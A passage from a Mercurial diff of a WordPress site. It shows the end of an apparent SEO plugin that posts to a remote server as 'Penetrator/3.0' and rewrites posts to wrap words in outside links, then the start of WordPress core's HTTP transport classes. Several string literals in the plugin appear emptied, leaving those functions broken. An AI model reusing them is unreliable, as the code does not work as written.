curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post)); + } + $result=curl_exec($ch); + if(curl_errno($ch)!=0 && empty($result)) + { + $result=false; + } + curl_close($ch); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + else + { + $parse_url = parse_url($url); + $path = $parse_url["path"]; + $host= $parse_url["host"]; + $result=""; + $post=implode('&', $_post); + $fp=fsockopen($host, 80); + if($fp) + { + socket_set_timeout($fp, $amt_d->t_o); + $request = "POST $path HTTP/1.1\r\n"; + $request .= "Host: $host\r\n"; + $request .= "User-Agent: Penetrator/3.0\r\n"; + $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; + $request .= "Referer: ".$amt_d->my_h."\r\n"; + $request .= "Content-Length: ".strlen($post)."\r\n"; + $request .= "Connection: close\r\n\r\n$post"; + fputs($fp,$request); + while(!feof($fp)) + { + $result.=fgets($fp); + } + fclose($fp); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + return false; + } +} +function amt_create_post_words($content,$word,$id_word,$link,$nwm) +{ +$n_content=strip_tags($content); +$word=trim($word); +$t_link="http://".$link; +$w=0; +$sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si"; +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="***\\0***"; +$new_content=preg_replace($bilo,$stalo,$n_content); +preg_match_all($sha2,$new_content,$massa); +$sha_word=erase_zv($massa[0][$id_word]); +$sha_word_l=strong_word($sha_word,$word,$t_link); +$content=str_replace($sha_word,$sha_word_l,$content); +return $content; +} +function erase_zv($text) +{ +$text=str_replace(",***",",",$text); +$text=str_replace(".***",".",$text); +$text=str_replace(" ***"," ",$text); +$text=str_replace("*** "," ",$text); +$text=str_replace("***"," ",$text); +return $text; +} +function trim_side($text) +{ +$new_text=""; +$txt=explode(" ", $text); +$n_w=sizeof($txt); + for($ts=1;$ts<$n_w-1;$ts++) + { + $new_text.=$txt[$ts]." "; + } +return $new_text; +} +function strong_word($content,$word,$t_link) +{ +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="\\0"; +$content=preg_replace($bilo,$stalo,$content); +$content=str_replace("> ",">",$content); +$content=str_replace(" <","<",$content); +$content=str_replace("<"," <",$content); +$content=str_replace(" ","",$content); +$content=str_replace(""," ",$content); +$content=str_replace(",",", ",$content); +$content=str_replace(".",". ",$content); +$content=str_replace(" "," ",$content); +return $content; +} +function trim_url($url) +{ +$url=preg_replace("(www.|http://)", "", $url); +return $url; +} +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/http.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/http.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,2122 @@ + + */ + +/** + * WordPress HTTP Class for managing HTTP Transports and making HTTP requests. + * + * This class is called for the functionality of making HTTP requests and should replace Snoopy + * functionality, eventually. There is no available functionality to add HTTP transport + * implementations, since most of the HTTP transports are added and available for use. + * + * The exception is that cURL is not available as a transport and lacking an implementation. It will + * be added later and should be a patch on the WordPress Trac. + * + * There are no properties, because none are needed and for performance reasons. Some of the + * functions are static and while they do have some overhead over functions in PHP4, the purpose is + * maintainability. When PHP5 is finally the requirement, it will be easy to add the static keyword + * to the code. It is not as easy to convert a function to a method after enough code uses the old + * way. + * + * Debugging includes several actions, which pass different variables for debugging the HTTP API. + * + * http_transport_get_debug - gives working, nonblocking, and blocking transports. + * + * http_transport_post_debug - gives working, nonblocking, and blocking transports. + * + * @package WordPress + * @subpackage HTTP + * @since 2.7.0 + */ +class WP_Http { + + /** + * PHP4 style Constructor - Calls PHP5 Style Constructor + * + * @since 2.7.0 + * @return WP_Http + */ + function WP_Http() { + $this->__construct(); + } + + /** + * PHP5 style Constructor - Setup available transport if not available. + * + * PHP4 does not have the 'self' keyword and since WordPress supports PHP4, + * the class needs to be used for the static call. + * + * The transport are setup to save time. This should only be called once, so + * the overhead should be fine. + * + * @since 2.7.0 + * @return WP_Http + */ + function __construct() { + WP_Http::_getTransport(); + WP_Http::_postTransport(); + } + + /** + * Tests the WordPress HTTP objects for an object to use and returns it. + * + * Tests all of the objects and returns the object that passes. Also caches + * that object to be used later. + * + * The order for the GET/HEAD requests are Streams, HTTP Extension, Fopen, + * and finally Fsockopen. fsockopen() is used last, because it has the most + * overhead in its implementation. There isn't any real way around it, since + * redirects have to be supported, much the same way the other transports + * also handle redirects. + * + * There are currently issues with "localhost" not resolving correctly with + * DNS. This may cause an error "failed to open stream: A connection attempt + * failed because the connected party did not properly respond after a + * period of time, or established connection failed because connected host + * has failed to respond." + * + * @since 2.7.0 + * @access private + * + * @param array $args Request args, default us an empty array + * @return object|null Null if no transports are available, HTTP transport object. + */ + function &_getTransport( $args = array() ) { + static $working_transport, $blocking_transport, $nonblocking_transport; + + if ( is_null($working_transport) ) { + if ( true === WP_Http_ExtHttp::test($args) ) { + $working_transport['exthttp'] = new WP_Http_ExtHttp(); + $blocking_transport[] = &$working_transport['exthttp']; + } else if ( true === WP_Http_Curl::test($args) ) { + $working_transport['curl'] = new WP_Http_Curl(); + $blocking_transport[] = &$working_transport['curl']; + } else if ( true === WP_Http_Streams::test($args) ) { + $working_transport['streams'] = new WP_Http_Streams(); + $blocking_transport[] = &$working_transport['streams']; + } else if ( true === WP_Http_Fopen::test($args) ) { + $working_transport['fopen'] = new WP_Http_Fopen(); + $blocking_transport[] = &$working_transport['fopen']; + } else if ( true === WP_Http_Fsockopen::test($args) ) { + $working_transport['fsockopen'] = new WP_Http_Fsockopen(); + $blocking_transport[] = &$working_transport['fsockopen']; + } + + foreach ( array('curl', 'streams', 'fopen', 'fsockopen', 'exthttp') as $transport ) { + if ( isset($working_transport[$transport]) ) + $nonblocking_transport[] = &$working_transport[$transport]; + } + } + + do_action( 'http_transport_get_debug', $working_transport, $blocking_transport, $nonblocking_transport ); + + if ( isset($args['blocking']) && !$args['blocking'] ) + return $nonblocking_transport; + else + return $blocking_transport; + } + + /** + * Tests the WordPress HTTP objects for an object to use and returns it. + * + * Tests all of the objects and returns the object that passes. Also caches + * that object to be used later. This is for posting content to a URL and + * is used when there is a body. The plain Fopen Transport can not be used + * to send content, but the streams transport can. This is a limitation that + * is addressed here, by just not including that transport. + * + * @since 2.7.0 + * @access private + * + * @param array $args Request args, default us an empty array + * @return object|null Null if no transports are available, HTTP transport object. + */ + function &_postTransport( $args = array() ) { + static $working_transport, $blocking_transport, $nonblocking_transport; + + if ( is_null($working_transport) ) { + if ( true === WP_Http_ExtHttp::test($args) ) { + $working_transport['exthttp'] = new WP_Http_ExtHttp(); + $blocking_transport[] = &$working_transport['exthttp']; + } else if ( true === WP_Http_Curl::test($args) ) { + $working_transport['curl'] = new WP_Http_Curl(); + $blocking_transport[] = &$working_transport['curl']; + } else if ( true === WP_Http_Streams::test($args) ) { + $working_transport['streams'] = new WP_Http_Streams(); + $blocking_transport[] = &$working_transport['streams']; + } else if ( true === WP_Http_Fsockopen::test($args) ) { + $working_transport['fsockopen'] = new WP_Http_Fsockopen(); + $blocking_transport[] = &$working_transport['fsockopen']; + } + + foreach ( array('curl', 'streams', 'fsockopen', 'exthttp') as $transport ) { + if ( isset($working_transport[$transport]) ) + $nonblocking_transport[] = &$working_transport[$transport]; + } + } + + do_action( 'http_transport_post_debug', $working_transport, $blocking_transport, $nonblocking_transport ); + + if ( isset($args['blocking']) && !$args['blocking'] ) + return $nonblocking_transport; + else + return $blocking_transport; + } + + /** + * Send a HTTP request to a URI. + * + * The body and headers are part of the arguments. The 'body' argument is for the body and will + * accept either a string or an array. The 'headers' argument should be an array, but a string + * is acceptable. If the 'body' argument is an array, then it will automatically be escaped + * using http_build_query(). + * + * The only URI that are supported in the HTTP Transport implementation are the HTTP and HTTPS + * protocols. HTTP and HTTPS are assumed so the server might not know how to handle the send + * headers. Other protocols are unsupported and most likely will fail. + * + * The defaults are 'method', 'timeout', 'redirection', 'httpversion', 'blocking' and + * 'user-agent'. + * + * Accepted 'method' values are 'GET', 'POST', and 'HEAD', some transports technically allow + * others, but should not be assumed. The 'timeout' is used to sent how long the connection + * should stay open before failing when no response. 'redirection' is used to track how many + * redirects were taken and used to sent the amount for other transports, but not all transports + * accept setting that value. + * + * The 'httpversion' option is used to sent the HTTP version and accepted values are '1.0', and + * '1.1' and should be a string. Version 1.1 is not supported, because of chunk response. The + * 'user-agent' option is the user-agent and is used to replace the default user-agent, which is + * 'WordPress/WP_Version', where WP_Version is the value from $wp_version. + * + * 'blocking' is the default, which is used to tell the transport, whether it should halt PHP + * while it performs the request or continue regardless. Actually, that isn't entirely correct. + * Blocking mode really just means whether the fread should just pull what it can whenever it + * gets bytes or if it should wait until it has enough in the buffer to read or finishes reading + * the entire content. It doesn't actually always mean that PHP will continue going after making + * the request. + * + * @access public + * @since 2.7.0 + * @todo Refactor this code. The code in this method extends the scope of its original purpose + * and should be refactored to allow for cleaner abstraction and reduce duplication of the + * code. One suggestion is to create a class specifically for the arguments, however + * preliminary refactoring to this affect has affect more than just the scope of the + * arguments. Something to ponder at least. + * + * @param string $url URI resource. + * @param str|array $args Optional. Override the defaults. + * @return array containing 'headers', 'body', 'response', 'cookies' + */ + function request( $url, $args = array() ) { + global $wp_version; + + $defaults = array( + 'method' => 'GET', + 'timeout' => apply_filters( 'http_request_timeout', 5), + 'redirection' => apply_filters( 'http_request_redirection_count', 5), + 'httpversion' => apply_filters( 'http_request_version', '1.0'), + 'user-agent' => apply_filters( 'http_headers_useragent', 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' ) ), + 'blocking' => true, + 'headers' => array(), + 'cookies' => array(), + 'body' => null, + 'compress' => false, + 'decompress' => true, + 'sslverify' => true + ); + + $r = wp_parse_args( $args, $defaults ); + $r = apply_filters( 'http_request_args', $r, $url ); + + // Allow plugins to short-circuit the request + $pre = apply_filters( 'pre_http_request', false, $r, $url ); + if ( false !== $pre ) + return $pre; + + $arrURL = parse_url($url); + + if ( $this->block_request( $url ) ) + return new WP_Error('http_request_failed', __('User has blocked requests through HTTP.')); + + // Determine if this is a https call and pass that on to the transport functions + // so that we can blacklist the transports that do not support ssl verification + $r['ssl'] = $arrURL['scheme'] == 'https' || $arrURL['scheme'] == 'ssl'; + + // Determine if this request is to OUR install of WordPress + $homeURL = parse_url(get_bloginfo('url')); + $r['local'] = $homeURL['host'] == $arrURL['host'] || 'localhost' == $arrURL['host']; + unset($homeURL); + + if ( is_null( $r['headers'] ) ) + $r['headers'] = array(); + + if ( ! is_array($r['headers']) ) { + $processedHeaders = WP_Http::processHeaders($r['headers']); + $r['headers'] = $processedHeaders['headers']; + } + + if ( isset($r['headers']['User-Agent']) ) { + $r['user-agent'] = $r['headers']['User-Agent']; + unset($r['headers']['User-Agent']); + } + + if ( isset($r['headers']['user-agent']) ) { + $r['user-agent'] = $r['headers']['user-agent']; + unset($r['headers']['user-agent']); + } + + // Construct Cookie: header if any cookies are set + WP_Http::buildCookieHeader( $r ); + + if ( WP_Http_Encoding::is_available() ) + $r['headers']['Accept-Encoding'] = WP_Http_Encoding::accept_encoding(); + + if ( empty($r['body']) ) { + // Some servers fail when sending content without the content-length header being set. + // Also, to fix another bug, we only send when doing POST and PUT and the content-length + // header isn't already set. + if( ($r['method'] == 'POST' || $r['method'] == 'PUT') && ! isset($r['headers']['Content-Length']) ) + $r['headers']['Content-Length'] = 0; + + // The method is ambiguous, because we aren't talking about HTTP methods, the "get" in + // this case is simply that we aren't sending any bodies and to get the transports that + // don't support sending bodies along with those which do. + $transports = WP_Http::_getTransport($r); + } else { + if ( is_array( $r['body'] ) || is_object( $r['body'] ) ) { + if ( ! version_compare(phpversion(), '5.1.2', '>=') ) + $r['body'] = _http_build_query($r['body'], null, '&'); + else + $r['body'] = http_build_query($r['body'], null, '&'); + $r['headers']['Content-Type'] = 'application/x-www-form-urlencoded; charset=' . get_option('blog_charset'); + $r['headers']['Content-Length'] = strlen($r['body']); + } + + if ( ! isset( $r['headers']['Content-Length'] ) && ! isset( $r['headers']['content-length'] ) ) + $r['headers']['Content-Length'] = strlen($r['body']); + + // The method is ambiguous, because we aren't talking about HTTP methods, the "post" in + // this case is simply that we are sending HTTP body and to get the transports that do + // support sending the body. Not all do, depending on the limitations of the PHP core + // limitations. + $transports = WP_Http::_postTransport($r); + } + + do_action( 'http_api_debug', $transports, 'transports_list' ); + + $response = array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() ); + foreach ( (array) $transports as $transport ) { + $response = $transport->request($url, $r); + + do_action( 'http_api_debug', $response, 'response', get_class($transport) ); + + if ( ! is_wp_error($response) ) + return apply_filters( 'http_response', $response, $r, $url ); + } + + return $response; + } + + /** + * Uses the POST HTTP method. + * + * Used for sending data that is expected to be in the body. + * + * @access public + * @since 2.7.0 + * + * @param string $url URI resource. + * @param str|array $args Optional. Override the defaults. + * @return boolean + */ + function post($url, $args = array()) { + $defaults = array('method' => 'POST'); + $r = wp_parse_args( $args, $defaults ); + return $this->request($url, $r); + } + + /** + * Uses the GET HTTP method. + * + * Used for sending data that is expected to be in the body. + * + * @access public + * @since 2.7.0 + * + * @param string $url URI resource. + * @param str|array $args Optional. Override the defaults. + * @return boolean + */ + function get($url, $args = array()) { + $defaults = array('method' => 'GET'); + $r = wp_parse_args( $args, $defaults ); + return $this->request($url, $r); + } + + /** + * Uses the HEAD HTTP method. + * + * Used for sending data that is expected to be in the body. + * + * @access public + * @since 2.7.0 + * + * @param string $url URI resource. + * @param str|array $args Optional. Override the defaults. + * @return boolean + */ + function head($url, $args = array()) { + $defaults = array('method' => 'HEAD'); + $r = wp_parse_args( $args, $defaults ); + return $this->request($url, $r); + } + + /** + * Parses the responses and splits the parts into headers and body. + * + * @access public + * @static + * @since 2.7.0 + * + * @param string $strResponse The full response string + * @return array Array with 'headers' and 'body' keys. + */ + function processResponse($strResponse) { + list($theHeaders, $theBody) = explode("\r\n\r\n", $strResponse, 2); + return array('headers' => $theHeaders, 'body' => $theBody); + } + + /** + * Transform header string into an array. + * + * If an array is given then it is assumed to be raw header data with numeric keys with the + * headers as the values. No headers must be passed that were already processed. + * + * @access public + * @static + * @since 2.7.0 + * + * @param string|array $headers + * @return array Processed string headers. If duplicate headers are encountered, + * Then a numbered array is returned as the value of that header-key. + */ + function processHeaders($headers) { + // split headers, one per array element + if ( is_string($headers) ) { + // tolerate line terminator: CRLF = LF (RFC 2616 19.3) + $headers = str_replace("\r\n", "\n", $headers); + // unfold folded header fields. LWS = [CRLF] 1*( SP | HT ) , (RFC 2616 2.2) + $headers = preg_replace('/\n[ \t]/', ' ', $headers); + // create the headers array + $headers = explode("\n", $headers); + } + + $response = array('code' => 0, 'message' => ''); + + $cookies = array(); + $newheaders = array(); + foreach ( $headers as $tempheader ) { + if ( empty($tempheader) ) + continue; + + if ( false === strpos($tempheader, ':') ) { + list( , $iResponseCode, $strResponseMsg) = explode(' ', $tempheader, 3); + $response['code'] = $iResponseCode; + $response['message'] = $strResponseMsg; + continue; + } + + list($key, $value) = explode(':', $tempheader, 2); + + if ( !empty( $value ) ) { + $key = strtolower( $key ); + if ( isset( $newheaders[$key] ) ) { + $newheaders[$key] = array( $newheaders[$key], trim( $value ) ); + } else { + $newheaders[$key] = trim( $value ); + } + if ( 'set-cookie' == strtolower( $key ) ) + $cookies[] = new WP_Http_Cookie( $value ); + } + } + + return array('response' => $response, 'headers' => $newheaders, 'cookies' => $cookies); + } + + /** + * Takes the arguments for a ::request() and checks for the cookie array. + * + * If it's found, then it's assumed to contain WP_Http_Cookie objects, which are each parsed + * into strings and added to the Cookie: header (within the arguments array). Edits the array by + * reference. + * + * @access public + * @version 2.8.0 + * @static + * + * @param array $r Full array of args passed into ::request() + */ + function buildCookieHeader( &$r ) { + if ( ! empty($r['cookies']) ) { + $cookies_header = ''; + foreach ( (array) $r['cookies'] as $cookie ) { + $cookies_header .= $cookie->getHeaderValue() . '; '; + } + $cookies_header = substr( $cookies_header, 0, -2 ); + $r['headers']['cookie'] = $cookies_header; + } + } + + /** + * Decodes chunk transfer-encoding, based off the HTTP 1.1 specification. + * + * Based off the HTTP http_encoding_dechunk function. Does not support UTF-8. Does not support + * returning footer headers. Shouldn't be too difficult to support it though. + * + * @todo Add support for footer chunked headers. + * @access public + * @since 2.7.0 + * @static + * + * @param string $body Body content + * @return string Chunked decoded body on success or raw body on failure. + */ + function chunkTransferDecode($body) { + $body = str_replace(array("\r\n", "\r"), "\n", $body); + // The body is not chunked encoding or is malformed. + if ( ! preg_match( '/^[0-9a-f]+(\s|\n)+/mi', trim($body) ) ) + return $body; + + $parsedBody = ''; + //$parsedHeaders = array(); Unsupported + + while ( true ) { + $hasChunk = (bool) preg_match( '/^([0-9a-f]+)(\s|\n)+/mi', $body, $match ); + + if ( $hasChunk ) { + if ( empty( $match[1] ) ) + return $body; + + $length = hexdec( $match[1] ); + $chunkLength = strlen( $match[0] ); + + $strBody = substr($body, $chunkLength, $length); + $parsedBody .= $strBody; + + $body = ltrim(str_replace(array($match[0], $strBody), '', $body), "\n"); + + if ( "0" == trim($body) ) + return $parsedBody; // Ignore footer headers. + } else { + return $body; + } + } + } + + /** + * Block requests through the proxy. + * + * Those who are behind a proxy and want to prevent access to certain hosts may do so. This will + * prevent plugins from working and core functionality, if you don't include api.wordpress.org. + * + * You block external URL requests by defining WP_HTTP_BLOCK_EXTERNAL in your wp-config.php file + * and this will only allow localhost and your blog to make requests. The constant + * WP_ACCESSIBLE_HOSTS will allow additional hosts to go through for requests. The format of the + * WP_ACCESSIBLE_HOSTS constant is a comma separated list of hostnames to allow. + * + * @since 2.8.0 + * @link http://core.trac.wordpress.org/ticket/8927 Allow preventing external requests. + * + * @param string $uri URI of url. + * @return bool True to block, false to allow. + */ + function block_request($uri) { + // We don't need to block requests, because nothing is blocked. + if ( ! defined('WP_HTTP_BLOCK_EXTERNAL') || ( defined('WP_HTTP_BLOCK_EXTERNAL') && WP_HTTP_BLOCK_EXTERNAL == false ) ) + return false; + + // parse_url() only handles http, https type URLs, and will emit E_WARNING on failure. + // This will be displayed on blogs, which is not reasonable. + $check = @parse_url($uri); + + /* Malformed URL, can not process, but this could mean ssl, so let through anyway. + * + * This isn't very security sound. There are instances where a hacker might attempt + * to bypass the proxy and this check. However, the reason for this behavior is that + * WordPress does not do any checking currently for non-proxy requests, so it is keeps with + * the default unsecure nature of the HTTP request. + */ + if ( $check === false ) + return false; + + $home = parse_url( get_option('siteurl') ); + + // Don't block requests back to ourselves by default + if ( $check['host'] == 'localhost' || $check['host'] == $home['host'] ) + return apply_filters('block_local_requests', false); + + if ( !defined('WP_ACCESSIBLE_HOSTS') ) + return true; + + static $accessible_hosts; + if ( null == $accessible_hosts ) + $accessible_hosts = preg_split('|,\s*|', WP_ACCESSIBLE_HOSTS); + + return !in_array( $check['host'], $accessible_hosts ); //Inverse logic, If its in the array, then we can't access it. + } +} + +/** + * HTTP request method uses fsockopen function to retrieve the url. + * + * This would be the preferred method, but the fsockopen implementation has the most overhead of all + * the HTTP transport implementations. + * + * @package WordPress + * @subpackage HTTP + * @since 2.7.0 + */ +class WP_Http_Fsockopen { + /** + * Send a HTTP request to a URI using fsockopen(). + * + * Does not support non-blocking mode. + * + * @see WP_Http::request For default options descriptions. + * + * @since 2.7 + * @access public + * @param string $url URI resource. + * @param str|array $args Optional. Override the defaults. + * @return array 'headers', 'body', 'cookies' and 'response' keys. + */ + function request($url, $args = array()) { + $defaults = array( + 'method' => 'GET', 'timeout' => 5, + 'redirection' => 5, 'httpversion' => '1.0', + 'blocking' => true, + 'headers' => array(), 'body' => null, 'cookies' => array() + ); + + $r = wp_parse_args( $args, $defaults ); + + if ( isset($r['headers']['User-Agent']) ) { + $r['user-agent'] = $r['headers']['User-Agent']; + unset($r['headers']['User-Agent']); + } else if( isset($r['headers']['user-agent']) ) { + $r['user-agent'] = $r['headers']['user-agent']; + unset($r['headers']['user-agent']); + } + + // Construct Cookie: header if any cookies are set + WP_Http::buildCookieHeader( $r ); + + $iError = null; // Store error number + $strError = null; // Store error string + + $arrURL = parse_url($url); + + $fsockopen_host = $arrURL['host']; + + $secure_transport = false; + + if ( ! isset( $arrURL['port'] ) ) { + if ( ( $arrURL['scheme'] == 'ssl' || $arrURL['scheme'] == 'https' ) && extension_loaded('openssl') ) { + $fsockopen_host = "ssl://$fsockopen_host"; + $arrURL['port'] = 443; + $secure_transport = true; + } else { + $arrURL['port'] = 80; + } + } + + //fsockopen has issues with 'localhost' with IPv6 with certain versions of PHP, It attempts to connect to ::1, + // which fails when the server is not setup for it. For compatibility, always connect to the IPv4 address. + if ( 'localhost' == strtolower($fsockopen_host) ) + $fsockopen_host = '127.0.0.1'; + + // There are issues with the HTTPS and SSL protocols that cause errors that can be safely + // ignored and should be ignored. + if ( true === $secure_transport ) + $error_reporting = error_reporting(0); + + $startDelay = time(); + + $proxy = new WP_HTTP_Proxy(); + + if ( !WP_DEBUG ) { + if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) + $handle = @fsockopen( $proxy->host(), $proxy->port(), $iError, $strError, $r['timeout'] ); + else + $handle = @fsockopen( $fsockopen_host, $arrURL['port'], $iError, $strError, $r['timeout'] ); + } else { + if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) + $handle = fsockopen( $proxy->host(), $proxy->port(), $iError, $strError, $r['timeout'] ); + else + $handle = fsockopen( $fsockopen_host, $arrURL['port'], $iError, $strError, $r['timeout'] ); + } + + $endDelay = time(); + + // If the delay is greater than the timeout then fsockopen should't be used, because it will + // cause a long delay. + $elapseDelay = ($endDelay-$startDelay) > $r['timeout']; + if ( true === $elapseDelay ) + add_option( 'disable_fsockopen', $endDelay, null, true ); + + if ( false === $handle ) + return new WP_Error('http_request_failed', $iError . ': ' . $strError); + + $timeout = (int) floor( $r['timeout'] ); + $utimeout = $timeout == $r['timeout'] ? 0 : 1000000 * $r['timeout'] % 1000000; + stream_set_timeout( $handle, $timeout, $utimeout ); + + if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) //Some proxies require full URL in this field. + $requestPath = $url; + else + $requestPath = $arrURL['path'] . ( isset($arrURL['query']) ? '?' . $arrURL['query'] : '' ); + + if ( empty($requestPath) ) + $requestPath .= '/'; + + $strHeaders = strtoupper($r['method']) . ' ' . $requestPath . ' HTTP/' . $r['httpversion'] . "\r\n"; + + if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) + $strHeaders .= 'Host: ' . $arrURL['host'] . ':' . $arrURL['port'] . "\r\n"; + else + $strHeaders .= 'Host: ' . $arrURL['host'] . "\r\n"; + + if ( isset($r['user-agent']) ) + $strHeaders .= 'User-agent: ' . $r['user-agent'] . "\r\n"; + + if ( is_array($r['headers']) ) { + foreach ( (array) $r['headers'] as $header => $headerValue ) + $strHeaders .= $header . ': ' . $headerValue . "\r\n"; + } else { + $strHeaders .= $r['headers']; + } + + if ( $proxy->use_authentication() ) + $strHeaders .= $proxy->authentication_header() . "\r\n"; + + $strHeaders .= "\r\n"; + + if ( ! is_null($r['body']) ) + $strHeaders .= $r['body']; + + fwrite($handle, $strHeaders); + + if ( ! $r['blocking'] ) { + fclose($handle); + return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() ); + } + + $strResponse = ''; + while ( ! feof($handle) ) + $strResponse .= fread($handle, 4096); + + fclose($handle); + + if ( true === $secure_transport ) + error_reporting($error_reporting); + + $process = WP_Http::processResponse($strResponse); + $arrHeaders = WP_Http::processHeaders($process['headers']); + + // Is the response code within the 400 range? + if ( (int) $arrHeaders['response']['code'] >= 400 && (int) $arrHeaders['response']['code'] < 500 ) + return new WP_Error('http_request_failed', $arrHeaders['response']['code'] . ': ' . $arrHeaders['response']['message']); + + // If location is found, then assume redirect and redirect to location. + if ( isset($arrHeaders['headers']['location']) ) { + if ( $r['redirection']-- > 0 ) { + return $this->request($arrHeaders['headers']['location'], $r); + } else { + return new WP_Error('http_request_failed', __('Too many redirects.')); + } + } + + // If the body was chunk encoded, then decode it. + if ( ! empty( $process['body'] ) && isset( $arrHeaders['headers']['transfer-encoding'] ) && 'chunked' == $arrHeaders['headers']['transfer-encoding'] ) + $process['body'] = WP_Http::chunkTransferDecode($process['body']); + + if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($arrHeaders['headers']) ) + $process['body'] = WP_Http_Encoding::decompress( $process['body'] ); + + return array('headers' => $arrHeaders['headers'], 'body' => $process['body'], 'response' => $arrHeaders['response'], 'cookies' => $arrHeaders['cookies']); + } + + /** + * Whether this class can be used for retrieving an URL. + * + * @since 2.7.0 + * @static + * @return boolean False means this class can not be used, true means it can. + */ + function test( $args = array() ) { + if ( false !== ($option = get_option( 'disable_fsockopen' )) && time()-$option < 43200 ) // 12 hours + return false; + + $is_ssl = isset($args['ssl']) && $args['ssl']; + + if ( ! $is_ssl && function_exists( 'fsockopen' ) ) + $use = true; + elseif ( $is_ssl && extension_loaded('openssl') && function_exists( 'fsockopen' ) ) + $use = true; + else + $use = false; + + return apply_filters('use_fsockopen_transport', $use, $args); + } +} + +/** + * HTTP request method uses fopen function to retrieve the url. + * + * Requires PHP version greater than 4.3.0 for stream support. Does not allow for $context support, + * but should still be okay, to write the headers, before getting the response. Also requires that + * 'allow_url_fopen' to be enabled. + * + * @package WordPress + * @subpackage HTTP + * @since 2.7.0 + */ +class WP_Http_Fopen { + /** + * Send a HTTP request to a URI using fopen(). + * + * This transport does not support sending of headers and body, therefore should not be used in + * the instances, where there is a body and headers. + * + * Notes: Does not support non-blocking mode. Ignores 'redirection' option. + * + * @see WP_Http::retrieve For default options descriptions. + * + * @access public + * @since 2.7.0 + * + * @param string $url URI resource. + * @param str|array $args Optional. Override the defaults. + * @return array 'headers', 'body', 'cookies' and 'response' keys. + */ + function request($url, $args = array()) { + $defaults = array( + 'method' => 'GET', 'timeout' => 5, + 'redirection' => 5, 'httpversion' => '1.0', + 'blocking' => true, + 'headers' => array(), 'body' => null, 'cookies' => array() + ); + + $r = wp_parse_args( $args, $defaults ); + + $arrURL = parse_url($url); + + if ( false === $arrURL ) + return new WP_Error('http_request_failed', sprintf(__('Malformed URL: %s'), $url)); + + if ( 'http' != $arrURL['scheme'] && 'https' != $arrURL['scheme'] ) + $url = str_replace($arrURL['scheme'], 'http', $url); + + if ( !WP_DEBUG ) + $handle = @fopen($url, 'r'); + else + $handle = fopen($url, 'r'); + + if (! $handle) + return new WP_Error('http_request_failed', sprintf(__('Could not open handle for fopen() to %s'), $url)); + + $timeout = (int) floor( $r['timeout'] ); + $utimeout = $timeout == $r['timeout'] ? 0 : 1000000 * $r['timeout'] % 1000000; + stream_set_timeout( $handle, $timeout, $utimeout ); + + if ( ! $r['blocking'] ) { + fclose($handle); + return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() ); + } + + $strResponse = ''; + while ( ! feof($handle) ) + $strResponse .= fread($handle, 4096); + + if ( function_exists('stream_get_meta_data') ) { + $meta = stream_get_meta_data($handle); + $theHeaders = $meta['wrapper_data']; + if ( isset( $meta['wrapper_data']['headers'] ) ) + $theHeaders = $meta['wrapper_data']['headers']; + } else { + //$http_response_header is a PHP reserved variable which is set in the current-scope when using the HTTP Wrapper + //see http://php.oregonstate.edu/manual/en/reserved.variables.httpresponseheader.php + $theHeaders = $http_response_header; + } + + fclose($handle); + + $processedHeaders = WP_Http::processHeaders($theHeaders); + + if ( ! empty( $strResponse ) && isset( $processedHeaders['headers']['transfer-encoding'] ) && 'chunked' == $processedHeaders['headers']['transfer-encoding'] ) + $strResponse = WP_Http::chunkTransferDecode($strResponse); + + if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($processedHeaders['headers']) ) + $strResponse = WP_Http_Encoding::decompress( $strResponse ); + + return array('headers' => $processedHeaders['headers'], 'body' => $strResponse, 'response' => $processedHeaders['response'], 'cookies' => $processedHeaders['cookies']); + } + + /** + * Whether this class can be used for retrieving an URL. + * + * @since 2.7.0 + * @static + * @return boolean False means this class can not be used, true means it can. + */ + function test($args = array()) { + if ( ! function_exists('fopen') || (function_exists('ini_get') && true != ini_get('allow_url_fopen')) ) + return false; + + $use = true; + + //PHP does not verify SSL certs, We can only make a request via this transports if SSL Verification is turned off. + $is_ssl = isset($args['ssl']) && $args['ssl']; + if ( $is_ssl ) { + $is_local = isset($args['local']) && $args['local']; + $ssl_verify = isset($args['sslverify']) && $args['sslverify']; + if ( $is_local && true != apply_filters('https_local_ssl_verify', true) ) + $use = true; + elseif ( !$is_local && true != apply_filters('https_ssl_verify', true) ) + $use = true; + elseif ( !$ssl_verify ) + $use = true; + else + $use = false; + } + + return apply_filters('use_fopen_transport', $use, $args); + } +} + +/** + * HTTP request method uses Streams to retrieve the url. + * + * Requires PHP 5.0+ and uses fopen with stream context. Requires that 'allow_url_fopen' PHP setting + * to be enabled. + * + * Second preferred method for getting the URL, for PHP 5. + * + * @package WordPress + * @subpackage HTTP + * @since 2.7.0 + */ +class WP_Http_Streams { + /** + * Send a HTTP request to a URI using streams with fopen(). + * + * @access public + * @since 2.7.0 + * + * @param string $url + * @param str|array $args Optional. Override the defaults. + * @return array 'headers', 'body', 'cookies' and 'response' keys. + */ + function request($url, $args = array()) { + $defaults = array( + 'method' => 'GET', 'timeout' => 5, + 'redirection' => 5, 'httpversion' => '1.0', + 'blocking' => true, + 'headers' => array(), 'body' => null, 'cookies' => array() + ); + + $r = wp_parse_args( $args, $defaults ); + + if ( 